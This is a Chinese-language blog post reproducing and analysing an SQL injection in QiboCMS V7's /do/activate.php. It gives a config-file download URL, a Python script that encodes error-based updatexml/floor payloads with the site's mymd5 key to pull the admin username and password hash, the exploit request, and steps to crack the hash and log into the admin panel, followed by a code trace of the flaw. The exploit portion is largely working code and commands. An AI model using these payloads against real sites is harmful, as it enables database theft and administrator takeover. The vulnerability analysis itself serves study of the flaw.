齐博CMS-SQL注入

前期工作

确认目标存在路径:

1
/do/activate.php

配置文件下载:

1
/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8

查找配置文件中的相关内容:

1
webdb['mymd5']

如果配置文件无法下载

mymd5值获取方法可以参考其他师傅的:先知:QiboCMS从SQL注入到getshell

开始注入

payload脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import base64
import hashlib


def sec_md5(input):
md5 = hashlib.md5(str.encode(input))
md5res = md5.hexdigest()
return md5res


def check_mymd5(mymd5,string):
secret_string = mymd5+'5*j,.^&;?.%#@!'
md5code = sec_md5(string)[8:18]
md5str = md5code + secret_string
key = sec_md5(md5str)
keylen = len(key)
strlen = len(string)

code = ''
i = 0
for i in range(strlen):
k = i % keylen
ASCstr = ord(string[i])
ASCkey = ord(key[k])
code += chr(ASCstr ^ ASCkey)
i+=1

code = str(base64.b64encode(code.encode('utf-8')),encoding='utf-8')+md5code
return code

if __name__ == '__main__':
#这里选择使用updateXML还是floor获取用户名
#updateXML
#string = "' and (updatexml(1,concat(0x7e,(substring((select username from qb_memberdata where groupid=3),1,32))),1))#"
#floor
#string = "' and (select 1 from (select count(*),concat(0x7e,(select username from qb_memberdata where groupid=3),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#"

#这里选择使用updateXML还是floor获取密码,注意修改语句中的用户名
#updateXML
#string = "' and (updatexml(1,concat(0x7e,(substring((select password from qb_members where username='admin'),1,32)),0x7e),1))#"
#floor
#string = "' and (select 1 from (select count(*),concat((select password from qb_members where username='admin'),floor(rand(0)*2))x from information_schema.tables group by x)a)#"


#每个网站的mymd5都不一样,记得换
mymd5 = '******'
print(check_mymd5(mymd5, string))

访问目标漏洞地址

1
GET /do/activate.php?job=activate&md5_id=[payload脚本]

下图红框中的部分就是我们要找的明文username

使用同样的方法获取password,然后md5解密,之后找到后台地址登陆就可以了,后台默认路径:

1
/admin/index.php

漏洞分析

复现环境:qibocms-V7

这里解释一下为什么payload中查找用户名会写:select username from qb_memberdata where groupid=3
我们装好环境后可以看到:

代码调试


漏洞点在这里,我们可以根据这个路径 /do/activate.php?job=activate&md5_id=$md5_id 看一下具体代码

大概梳理了一下,路径是这样的:

activate->mymd5->get_allInfo->get_passport->get_one->query->Err

activate

当我们输入:/do/activate.php?job=activate&md5_id=payload脚本,进入activate后首先调用了mymd5函数

mymd5

这里需要注意蓝色的那一行,我们在脚本中是这样写的:

1
aaa' and (updatexml(1,concat(0x7e,(substring((select username from qb_memberdata where groupid=3),1,32)),0x7e),1))#

aaa并不重要,可以删掉,但是0x7e很重要,一个就够了。它生成的payload脚本是这样的:

1
FxNQDFIQHEZFVVZHUBwIWhtXHAcOAAAAU1VSgcBFE5DRlMRQkJdXVIZH0BQCABVR0ZFFwQQX1dYAEVUQgtVRkFRbg9TXVZWR1VWR1REEl5WFFVEBhBeQ0UMAQ8DTRRXHAADSx8ZGAIcGBQ=10342945bb

裁剪过后可以保障我们payload的完整性。

经过mymd5函数的处理,可以看到脚本内容被还原了

get_allInfo

这里把还原的脚本赋值给username,然后开始运行函数get_allInfo

get_passport

可以看到get_allInfo调用了函数get_passport,跟进看一下

get_one

发现简单赋值和拼接后,调用了函数get_one

query

这里就是准备执行我们sql语句的地方了,我们跟进query函数


query函数连接了数据库,updateXML开始发挥作用(当Xpath路径语法错误时,就会报错,错误路径内容中的sql语句会被执行),报错的信息会通过SQLlink进行传输(目前是这么理解的)

UpdateXML语法:

1
2
3
4
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 新的xml


这里get_one接收了返回值,并把返回的结果null一路返回到了active,接下来就是用Err函数报错,跟进看一下

Err

通过SQLlink把报错的内容传输出来,可以看到直接将报错结果输出了


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!